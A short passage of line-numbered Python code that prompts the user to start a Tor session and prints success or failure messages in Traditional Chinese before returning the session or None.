print() 84 | if user_input == "y": 85 | tor_session = start_tor() 86 | if tor_session: 87 | rprint("[bold orchid][+] Tor 成功啟動![/bold orchid]\n") 88 | else: 89 | rprint("[bold dark_violet][!] Tor 啟動失敗,請手動開啟![/bold dark_violet]\n") 90 | return None 91 | else: 92 | rprint("[bold red][!] Tor 未啟動,無法使用 --tor 模式![/bold red]") 93 | return None 94 | return tor_session --------------------------------------------------------------------------------